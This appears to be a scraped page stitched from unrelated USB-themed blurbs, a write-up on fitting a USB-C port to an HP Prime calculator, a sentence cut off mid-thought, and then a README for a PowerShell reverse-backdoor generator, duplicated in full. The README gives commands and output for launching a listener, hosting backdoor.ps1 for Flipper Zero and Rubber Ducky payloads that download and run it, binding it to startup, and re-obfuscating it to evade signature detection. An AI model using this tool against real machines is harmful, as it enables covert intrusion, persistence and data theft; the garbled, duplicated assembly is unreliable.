I hate buying USB adapters because I vividly remember the days when they’d come free with every smartphone or USB-powered device. Though it’s not free, IKEA’s new USB-C adapter offers fast charging at the unbeatable price of $4.

Yes, it's a USB port. Let's get that out of the way right off the bat, as if the big picture of a USB port on a router above wasn't enough to tip you off. In case you've never noticed, or thought to use it, if your router has a USB port on it there's a good chance you can actually use that router as a basic NAS.

If you ever take a look at the back of your smart TV, you'll notice one or more USB ports. These aren't just for show! There are several neat features that these unassuming USB connections unlock.

Just 10 years ago, thumb drives were commonplace everywhere. You probably carried one around in your keys, or you had one in your backpack. Things have changed a lot, though.

Just when did USB ports become such a complete mess? They're easy to follow on the surface, with two relevant types to pay attention to. But if you look closer, they're all kinds of confusing.

Unlike Texas Instruments, whose graphing calculators have famously not made technological improvements in decades despite keeping the same price tag, HP has made a few more modern graphing calculators in the last few years. One of which is the HP Prime which boasts hardware from the mid-2010s including an ARM processor, a color screen, and rechargeable lithium battery. But despite this updated hardware it’s still using micro-USB for data and charging. [David] wanted to fix that by giving this calculator a USB-C port.

The first steps were disassembling the calculator case and removing the micro-USB port. The PCB is glued to the LCD screen which isn’t ideal, but he was able to work on it with everything attached. The parts are small enough to need a microscope, and with a hot air station he was quickly able to remove the USB port. His replacements from a generic online retailer were able to be soldered without much effort, but there was one major complication. The new USB-C ports didn’t account for the “On The Go” mode supported by micro-USB and were shorting a pin to ground which put the calculator into “host” mode instead of acting as a device. But using the microscope and cutting a trace on the PCB disabled this mode permanently and got the calculator working properly.

As far as modernizing calculators go, it seems like the HP Prime checks a lot of boxes, with the major downside that the LCD screen and more powerful processor means that the battery needs to be charged more often than the old TI calculators. Rather than carry a dongle around everywhere, [David] found this to be a much more efficient change to his trusty HP. If you’re still stuck using TI calculators, though, there are a few ways to modernize those as well like this build which adds a lithium battery or this one which ports a few Game Boy games to the platform.

Everyone in IT has lots of flash drives. Each one has something different on it. But they’re all important and useful. Sometimes only once a year, but still useful. I decided to tidy up my USB drives and put everything in one place. I thought it would be difficult, but it turns out there is a very cool project called

Reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every run. Also can generate auto run scripts for Flipper Zero and USB Rubber Ducky.

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

Powershell Backdoor Generator

options:
  -h, --help            show this help message and exit
  --ip-address IP_ADDRESS, -i IP_ADDRESS
                        IP Address to bind the backdoor too (default: 192.168.X.XX)
  --port PORT, -p PORT  Port for the backdoor to connect over (default: 4444)
  --random, -r          Randomizes the outputed backdoor's file name
  --out OUT, -o OUT     Specify the backdoor filename (relative file names)
  --verbose, -v         Show verbose output
  --delay DELAY         Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
  --flipper FLIPPER     Payload file for flipper zero (includes EOL convers   ion) (relative file name)
  --ducky               Creates an inject.bin for the http server
  --server-port SERVER_PORT
                        Port to run the HTTP server on (--server) (default: 8080)
  --payload PAYLOAD     USB Rubber Ducky/Flipper Zero backdoor payload to execute
  --list--payloads      List all available payloads
  -k KEYBOARD, --keyboard KEYBOARD
                        Keyboard layout for Bad Usb/Flipper Zero (default: us)
  -A, --actually-listen
                        Just listen for any backdoor connections
  -H, --listen-and-host
                        Just listen for any backdoor connections and host the backdoor directory

Features

• Hak5 Rubber Ducky payload
• Flipper Zero payload
• Download Files from remote system
• Fetch target computers public IP address
• List local users
• Find Intresting Files
• Get OS Information
• Get BIOS Information
• Get Anti-Virus Status
• Get Active TCP Clients
• Checks for common pentesting software installed

Standard backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file in the current working directory will be created called backdoor.ps1

Bad USB/ USB Rubber Ducky attacks

When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.

Payloads

• Execute -- Execute the backdoor
• BindAndExecute -- Place the backdoor in temp, bind the backdoor to startup and then execute it.

Flipper Zero Backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor.txt --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1

Usb Rubber Ducky Backdoor

 C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1

Backdoor Execution

Tested on Windows 11, Windows 10 and Kali Linux

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted

┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1

To Do

• Add Standard Backdoor
• Find Writeable Directories
• Get Windows Update Status

Output of 5 obfuscations/Runs

sha1:c7a5fa3e56640ce48dcc3e8d972e444d9cdd2306
sha1:b32dab7b26cdf6b9548baea6f3cfe5b8f326ceda
sha1:e49ab36a7ad6b9fc195b4130164a508432f347db
sha1:ba40fa061a93cf2ac5b6f2480f6aab4979bd211b
sha1:f2e43320403fb11573178915b7e1f258e7c1b3f0

Reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every run. Also can generate auto run scripts for Flipper Zero and USB Rubber Ducky.

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

Powershell Backdoor Generator

options:
  -h, --help            show this help message and exit
  --ip-address IP_ADDRESS, -i IP_ADDRESS
                        IP Address to bind the backdoor too (default: 192.168.X.XX)
  --port PORT, -p PORT  Port for the backdoor to connect over (default: 4444)
  --random, -r          Randomizes the outputed backdoor's file name
  --out OUT, -o OUT     Specify the backdoor filename (relative file names)
  --verbose, -v         Show verbose output
  --delay DELAY         Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
  --flipper FLIPPER     Payload file for flipper zero (includes EOL convers   ion) (relative file name)
  --ducky               Creates an inject.bin for the http server
  --server-port SERVER_PORT
                        Port to run the HTTP server on (--server) (default: 8080)
  --payload PAYLOAD     USB Rubber Ducky/Flipper Zero backdoor payload to execute
  --list--payloads      List all available payloads
  -k KEYBOARD, --keyboard KEYBOARD
                        Keyboard layout for Bad Usb/Flipper Zero (default: us)
  -A, --actually-listen
                        Just listen for any backdoor connections
  -H, --listen-and-host
                        Just listen for any backdoor connections and host the backdoor directory

Features

• Hak5 Rubber Ducky payload
• Flipper Zero payload
• Download Files from remote system
• Fetch target computers public IP address
• List local users
• Find Intresting Files
• Get OS Information
• Get BIOS Information
• Get Anti-Virus Status
• Get Active TCP Clients
• Checks for common pentesting software installed

Standard backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file in the current working directory will be created called backdoor.ps1

Bad USB/ USB Rubber Ducky attacks

When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.

Payloads

• Execute -- Execute the backdoor
• BindAndExecute -- Place the backdoor in temp, bind the backdoor to startup and then execute it.

Flipper Zero Backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor.txt --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1

Usb Rubber Ducky Backdoor

 C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1

Backdoor Execution

Tested on Windows 11, Windows 10 and Kali Linux

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted

┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1

To Do

• Add Standard Backdoor
• Find Writeable Directories
• Get Windows Update Status

Output of 5 obfuscations/Runs

sha1:c7a5fa3e56640ce48dcc3e8d972e444d9cdd2306
sha1:b32dab7b26cdf6b9548baea6f3cfe5b8f326ceda
sha1:e49ab36a7ad6b9fc195b4130164a508432f347db
sha1:ba40fa061a93cf2ac5b6f2480f6aab4979bd211b
sha1:f2e43320403fb11573178915b7e1f258e7c1b3f0